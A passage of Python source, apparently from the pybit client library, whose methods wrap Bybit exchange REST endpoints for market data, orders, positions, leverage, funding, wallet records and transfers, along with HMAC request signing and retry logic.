'/spot/quote/v1/ticker/book_ticker', query=kwargs ) def public_trading_records(self, **kwargs): """ Get recent trades. You can find a complete history of trades on Bybit at https://public.bybit.com/. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-publictradingrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/quote/v1/trades' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/recent-trading-records' else: suffix = '/v2/public/trading-records' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_symbol(self, **kwargs): """ Get symbol info. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/symbols' else: suffix = '/v2/public/symbols' return self._submit_request( method='GET', path=self.endpoint + suffix ) def liquidated_orders(self, **kwargs): """ Retrieve the liquidated orders. The query range is the last seven days of data. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-query_liqrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') return self._submit_request( method='GET', path=self.endpoint + '/v2/public/liq-records', query=kwargs ) def query_mark_price_kline(self, **kwargs): """ Query mark price kline (like query_kline but for mark price). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-markpricekline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/mark-price-kline' else: suffix = '/v2/public/mark-price-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_index_price_kline(self, **kwargs): """ Query index price kline (like query_kline but for index price). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-queryindexpricekline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/index-price-kline' else: suffix = '/v2/public/index-price-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def query_premium_index_kline(self, **kwargs): """ Query premium index kline (like query_kline but for the premium index discount). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querypremiumindexkline. :returns: Request results as dictionary. """ # Replace query param 'from_time' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_time' in kwargs: kwargs['from'] = kwargs.pop('from_time') if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/premium-index-kline' else: suffix = '/v2/public/premium-index-kline' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def open_interest(self, **kwargs): """ Gets the total amount of unsettled contracts. In other words, the total number of contracts held in open positions. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketopeninterest. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/open-interest', query=kwargs ) def latest_big_deal(self, **kwargs): """ Obtain filled orders worth more than 500,000 USD within the last 24h. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketbigdeal. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/big-deal', query=kwargs ) def long_short_ratio(self, **kwargs): """ Gets the Bybit long-short ratio. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marketaccountratio. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/account-ratio', query=kwargs ) def place_active_order(self, **kwargs): """ Places an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/order' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/create' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/create' else: suffix = '/v2/private/order/create' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_active_order_bulk(self, orders: list, max_in_parallel=10): """ Places multiple active orders in bulk using multithreading. For more information on place_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.place_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def get_active_order(self, **kwargs): """ Gets an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-getactive. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getactive. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/history-orders' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/list' else: suffix = '/v2/private/order/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_active_order(self, **kwargs): """ Cancels an active order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-cancelactive. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelactive. :returns: Request results as dictionary. """ method = 'POST' if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/order' method = 'DELETE' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/cancel' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/cancel' else: suffix = '/v2/private/order/cancel' return self._submit_request( method=method, path=self.endpoint + suffix, query=kwargs, auth=True ) def fast_cancel_active_order(self, **kwargs): """ Fast cancels an active order. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-fastcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/v1/order/fast', query=kwargs, auth=True ) def cancel_active_order_bulk(self, orders: list, max_in_parallel=10): """ Cancels multiple active orders in bulk using multithreading. For more information on cancel_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-activeorders. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.cancel_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def cancel_all_active_orders(self, **kwargs): """ Cancel all active orders that are unfilled or partially filled. Fully filled orders cannot be cancelled. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelallactive. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/cancel-all' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/cancelAll' else: suffix = '/v2/private/order/cancelAll' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def batch_cancel_active_order(self, **kwargs): """ Batch cancels active orders. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-cancel', query=kwargs, auth=True ) def batch_fast_cancel_active_order(self, **kwargs): """ Batch fast cancels active orders. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchfastcancelactiveorder. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-fast-cancel', query=kwargs, auth=True ) def batch_cancel_active_order_by_ids(self, **kwargs): """ Batch cancels active order by ids. :param kwargs: See https://bybit-exchange.github.io/docs/spot/#t-batchcancelactiveorderbyids. :returns: Request results as dictionary. """ return self._submit_request( method='DELETE', path=self.endpoint + '/spot/order/batch-cancel-by-ids', query=kwargs, auth=True ) def replace_active_order(self, **kwargs): """ Replace order can modify/amend your active orders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-replaceactive. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/replace' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order/replace' else: suffix = '/v2/private/order/replace' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_active_order_bulk(self, orders: list, max_in_parallel=10): """ Replaces multiple active orders in bulk using multithreading. For more information on replace_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-replaceactive. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.replace_active_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def query_active_order(self, **kwargs): """ Query real-time active order information. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-queryactive. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/open-orders' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/order/search' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/order' else: suffix = '/v2/private/order' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_conditional_order(self, **kwargs): """ Places a conditional order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-placecond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-placecond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/create' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/create' else: suffix = '/v2/private/stop-order/create' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def place_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Places multiple conditional orders in bulk using multithreading. For more information on place_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-placecond. :param orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.place_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def get_conditional_order(self, **kwargs): """ Gets a conditional order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-getcond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/list' else: suffix = '/v2/private/stop-order/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_conditional_order(self, **kwargs): """ Cancels a conditional order. For more information, see https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/cancel' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/cancel' else: suffix = '/v2/private/stop-order/cancel' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def cancel_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Cancels multiple conditional orders in bulk using multithreading. For more information on cancel_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-cancelcond. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.cancel_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def cancel_all_conditional_orders(self, **kwargs): """ Cancel all conditional orders that are unfilled or partially filled. Fully filled orders cannot be cancelled. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-cancelallcond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/cancel-all' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/cancelAll' else: suffix = '/v2/private/stop-order/cancelAll' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_conditional_order(self, **kwargs): """ Replace conditional order can modify/amend your conditional orders. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-replacecond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/replace' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order/replace' else: suffix = '/v2/private/stop-order/replace' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def replace_conditional_order_bulk(self, orders: list, max_in_parallel=10): """ Replaces multiple conditional orders in bulk using multithreading. For more information on replace_active_order, see https://bybit-exchange.github.io/docs/inverse/#t-replacecond. :param list orders: A list of orders and their parameters. :param max_in_parallel: The number of requests to be sent in parallel. Note that you are limited to 50 requests per second. :returns: Future request result dictionaries as a list. """ with ThreadPoolExecutor(max_workers=max_in_parallel) as executor: executions = [ executor.submit( self.replace_conditional_order, **order ) for order in orders ] executor.shutdown() return [execution.result() for execution in executions] def query_conditional_order(self, **kwargs): """ Query real-time conditional order information. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-querycond. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/stop-order/search' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/stop-order' else: suffix = '/v2/private/stop-order' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def my_position(self, endpoint="", **kwargs): """ Get my position list. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-myposition. :param endpoint: The endpoint path, such as "/v2/private/position/list". This allows the user to bypass the "symbol" arg, and instead specify the desired market contract type (inverse perp, linear perp, etc) and receive multiple symbols in the response. :returns: Request results as dictionary. """ if endpoint: suffix = endpoint else: if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/list' else: suffix = '/v2/private/position/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def set_auto_add_margin(self, **kwargs): """ For linear markets only. Set auto add margin, or Auto-Margin Replenishment. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-setautoaddmargin. :returns: Request results as dictionary. """ return self._submit_request( method='POST', path=self.endpoint + '/private/linear/position/set-auto-add-margin', query=kwargs, auth=True ) def set_leverage(self, **kwargs): """ Change user leverage. If you want to switch between cross margin and isolated margin, please see cross_isolated_margin_switch. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-setleverage. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/set-leverage' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/leverage/save' else: suffix = '/v2/private/position/leverage/save' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def cross_isolated_margin_switch(self, **kwargs): """ Switch Cross/Isolated; must be leverage value when switching from Cross to Isolated. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-marginswitch. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/switch-isolated' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/switch-isolated' else: suffix = '/v2/private/position/switch-isolated' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def position_mode_switch(self, **kwargs): """ If you are in One-Way Mode, you can only open one position on Buy or Sell side; If you are in Hedge Mode, you can open both Buy and Sell side positions simultaneously. :param kwargs: See https://bybit-exchange.github.io/docs/inverse_futures/#t-switchpositionmode. :returns: Request results as dictionary. """ if kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/switch-mode' else: suffix = '/v2/private/position/switch-mode' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def full_partial_position_tp_sl_switch(self, **kwargs): """ Switch mode between Full or Partial :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-switchmode. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/tpsl/switch-mode' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/tpsl/switch-mode' else: suffix = '/v2/private/tpsl/switch-mode' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def change_margin(self, **kwargs): """ Update margin. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-changemargin. :returns: Request results as dictionary. """ if kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/change-position-margin' else: suffix = '/v2/private/position/change-position-margin' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def set_trading_stop(self, **kwargs): """ Set take profit, stop loss, and trailing stop for your open position. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-tradingstop. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/trading-stop' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/position/trading-stop' else: suffix = '/v2/private/position/trading-stop' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def add_reduce_margin(self, **kwargs): """ For linear markets only. Add margin. :param kwargs: See https://bybit-exchange.github.io/docs/linear/#t-addmargin. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/private/linear/position/add-margin', query=kwargs, auth=True ) def user_leverage(self, **kwargs): """ ABANDONED! Please use my_position instead. Fetches user leverage by fetching user position. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getleverage. :returns: Request results as dictionary. """ self.logger.warning('This endpoint is deprecated and will be removed. Use my_position()') return self._submit_request( method='GET', path=self.endpoint + '/v2/private/position/list', query=kwargs, auth=True ) def change_user_leverage(self, **kwargs): """ Change user leverage. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-changeleverage. :returns: Request results as dictionary. """ self.logger.warning('This endpoint is deprecated and will be removed. Use set_leverage()') return self._submit_request( method='POST', path=self.endpoint + '/user/leverage/save', query=kwargs, auth=True ) def user_trade_records(self, **kwargs): """ Get user's trading records. The results are ordered in ascending order (the first item is the oldest). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-usertraderecords. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/myTrades' elif kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/trade/execution/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/execution/list' else: suffix = '/v2/private/execution/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def closed_profit_and_loss(self, **kwargs): """ Get user's closed profit and loss records. The results are ordered in descending order (the first item is the latest). :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-closedprofitandloss. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/trade/closed-pnl/list' elif kwargs.get('symbol', '')[-2:].isdigit(): suffix = '/futures/private/trade/closed-pnl/list' else: suffix = '/v2/private/trade/closed-pnl/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def get_risk_limit(self, endpoint="", **kwargs): """ Get risk limit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-getrisklimit. :param endpoint: The endpoint path, such as "/v2/public/risk-limit/list". This allows the user to bypass the "symbol" arg, and instead specify the desired market contract type (inverse perp, linear perp, etc) and receive multiple symbols in the response. :returns: Request results as dictionary. """ if kwargs.get('is_linear') in (False, True): self.logger.warning("The is_linear argument is obsolete.") if endpoint: suffix = endpoint else: if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/risk-limit' else: suffix = '/v2/public/risk-limit/list' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def set_risk_limit(self, **kwargs): """ Set risk limit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-setrisklimit. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/position/set-risk' else: suffix = '/v2/private/position/risk-limit' return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) def get_the_last_funding_rate(self, **kwargs): """ The funding rate is generated every 8 hours at 00:00 UTC, 08:00 UTC and 16:00 UTC. For example, if a request is sent at 12:00 UTC, the funding rate generated earlier that day at 08:00 UTC will be sent. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-fundingrate. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/public/linear/funding/prev-funding-rate' else: suffix = '/v2/public/funding/prev-funding-rate' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs ) def my_last_funding_fee(self, **kwargs): """ Funding settlement occurs every 8 hours at 00:00 UTC, 08:00 UTC and 16:00 UTC. The current interval's fund fee settlement is based on the previous interval's fund rate. For example, at 16:00, the settlement is based on the fund rate generated at 8:00. The fund rate generated at 16:00 will be used at 0:00 the next day. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-mylastfundingfee. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/funding/prev-funding' else: suffix = '/v2/private/funding/prev-funding' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def predicted_funding_rate(self, **kwargs): """ Get predicted funding rate and my funding fee. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-predictedfunding. :returns: Request results as dictionary. """ if kwargs.get('symbol', '').endswith('USDT'): suffix = '/private/linear/funding/predicted-funding' else: suffix = '/v2/private/funding/predicted-funding' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def api_key_info(self): """ Get user's API key info. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/account/api-key', auth=True ) def lcp_info(self, **kwargs): """ Get user's LCP (data refreshes once an hour). Only supports inverse perpetual at present. See https://bybit-exchange.github.io/docs/inverse/#t-liquidity to learn more. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-lcp. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/account/lcp', query=kwargs, auth=True ) def get_wallet_balance(self, **kwargs): """ Get wallet balance info. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-balance. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/account' else: suffix = '/v2/private/wallet/balance' return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def wallet_fund_records(self, **kwargs): """ Get wallet fund records. This endpoint also shows exchanges from the Asset Exchange, where the types for the exchange are ExchangeOrderWithdraw and ExchangeOrderDeposit. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-walletrecords. :returns: Request results as dictionary. """ # Replace query param 'from_id' since 'from' keyword is reserved. # Temporary workaround until Bybit updates official request params if 'from_id' in kwargs: kwargs['from'] = kwargs.pop('from_id') return self._submit_request( method='GET', path=self.endpoint + '/v2/private/wallet/fund/records', query=kwargs, auth=True ) def withdraw_records(self, **kwargs): """ Get withdrawal records. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-withdrawrecords. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/wallet/withdraw/list', query=kwargs, auth=True ) def asset_exchange_records(self, **kwargs): """ Get asset exchange records. :param kwargs: See https://bybit-exchange.github.io/docs/inverse/#t-assetexchangerecords. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/private/exchange-order/list', query=kwargs, auth=True ) def server_time(self, **kwargs): """ Get Bybit server time. :returns: Request results as dictionary. """ if self.spot is True or kwargs.get('spot', '') is True: suffix = '/spot/v1/time' else: suffix = '/v2/public/time' return self._submit_request( method='GET', path=self.endpoint + suffix ) def announcement(self): """ Get Bybit OpenAPI announcements in the last 30 days by reverse order. :returns: Request results as dictionary. """ return self._submit_request( method='GET', path=self.endpoint + '/v2/public/announcement' ) ''' Additional Methods These methods use two or more requests to perform a specific function and are exclusive to pybit. ''' def close_position(self, symbol): """ Closes your open position. Makes two requests (position, order). Parameters ------------------------ symbol : str Required parameter. The symbol of the market as a string, e.g. 'BTCUSD'. """ # First we fetch the user's position. try: r = self.my_position(symbol=symbol)['result'] # If there is no returned position, we want to handle that. except KeyError: return self.logger.error('No position detected.') # Next we generate a list of market orders orders = [ { 'symbol': symbol, 'order_type': 'Market', 'side': 'Buy' if p['side'] == 'Sell' else 'Sell', 'qty': p['size'], 'time_in_force': 'ImmediateOrCancel', 'reduce_only': True, 'close_on_trigger': True } for p in (r if isinstance(r, list) else [r]) if p['size'] > 0 ] if len(orders) == 0: return self.logger.error('No position detected.') # Submit a market order against each open position for the same qty. return self.place_active_order_bulk(orders) ''' Below are methods under https://bybit-exchange.github.io/docs/account_asset ''' def create_internal_transfer(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-createinternaltransfer. :returns: Request results as dictionary. """ suffix="/asset/v1/private/transfer" if self._verify_string(kwargs,'amount'): return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) else: self.logger.error('amount must be in string format') def create_subaccount_transfer(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-createsubaccounttransfer. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/transfer" if self._verify_string(kwargs, 'amount'): return self._submit_request( method='POST', path=self.endpoint + suffix, query=kwargs, auth=True ) else: self.logger.error('amount must be in string format') def query_transfer_list(self, **kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querytransferlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/transfer/list" return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) def query_subaccount_list(self): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querysubaccountlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/member-ids" return self._submit_request( method='GET', path=self.endpoint + suffix, query={}, auth=True ) def query_subaccount_transfer_list(self,**kwargs): """ Create internal transfer. :param kwargs: See https://bybit-exchange.github.io/docs/account_asset/#t-querysubaccounttransferlist. :returns: Request results as dictionary. """ suffix="/asset/v1/private/sub-member/transfer/list" return self._submit_request( method='GET', path=self.endpoint + suffix, query=kwargs, auth=True ) ''' Internal methods; signature and request submission. For more information about the request signature, see https://bybit-exchange.github.io/docs/inverse/#t-authentication. ''' def _auth(self, method, params, recv_window): """ Generates authentication signature per Bybit API specifications. Notes ------------------- Since the POST method requires a JSONified dict, we need to ensure the signature uses lowercase booleans instead of Python's capitalized booleans. This is done in the bug fix below. """ api_key = self.api_key api_secret = self.api_secret if api_key is None or api_secret is None: raise PermissionError('Authenticated endpoints require keys.') # Append required parameters. params['api_key'] = api_key params['recv_window'] = recv_window params['timestamp'] = int(time.time() * 10 ** 3) # Sort dictionary alphabetically to create querystring. _val = '&'.join( [str(k) + '=' + str(v) for k, v in sorted(params.items()) if (k != 'sign') and (v is not None)] ) # Bug fix. Replaces all capitalized booleans with lowercase. if method == 'POST': _val = _val.replace('True', 'true').replace('False', 'false') # Return signature. return str(hmac.new( bytes(api_secret, 'utf-8'), bytes(_val, 'utf-8'), digestmod='sha256' ).hexdigest()) def _verify_string(self,params,key): if key in params: if not isinstance(params[key], str): return False else: return True return True def _submit_request(self, method=None, path=None, query=None, auth=False): """ Submits the request to the API. Notes ------------------- We use the params argument for the GET method, and data argument for the POST method. Dicts passed to the data argument must be JSONified prior to submitting request. """ if query is None: query = {} # Remove internal spot arg query.pop('spot', '') # Store original recv_window. recv_window = self.recv_window # Bug fix: change floating whole numbers to integers to prevent # auth signature errors. if query is not None: for i in query.keys(): if isinstance(query[i], float) and query[i] == int(query[i]): query[i] = int(query[i]) # Send request and return headers with body. Retry if failed. retries_attempted = self.max_retries req_params = None while True: retries_attempted -= 1 if retries_attempted < 0: raise FailedRequestError( request=f'{method} {path}: {req_params}', message='Bad Request. Retries exceeded maximum.', status_code=400, time=dt.utcnow().strftime("%H:%M:%S") ) retries_remaining = f'{retries_attempted} retries remain.' # Authenticate if we are using a private endpoint. if auth: # Prepare signature. signature = self._auth( method=method, params=query, recv_window=recv_window, ) # Sort the dictionary alphabetically. query = dict(sorted(query.items(), key=lambda x: x)) # Append the signature to the dictionary. query['sign'] = signature # Define parameters and log the request. if query is not None: req_params = {k: v for k, v in query.items() if v is not None} else: req_params = {} # Log the request. if self.log_requests: self.logger.debug(f'Request -> {method} {path}: {req_params}') # Prepare request; use 'params' for GET and 'data' for POST. if method == 'GET': headers = { 'Content-Type': 'application/x-www-form-urlencoded' } r = self.client.prepare_request( requests.Request(method, path, params=req_params, headers=headers) ) else: if 'spot' in path: full_param_str = '&'.join( [str(k) + '=' + str(v) for k, v in sorted(query.items()) if v is not None] ) headers = { 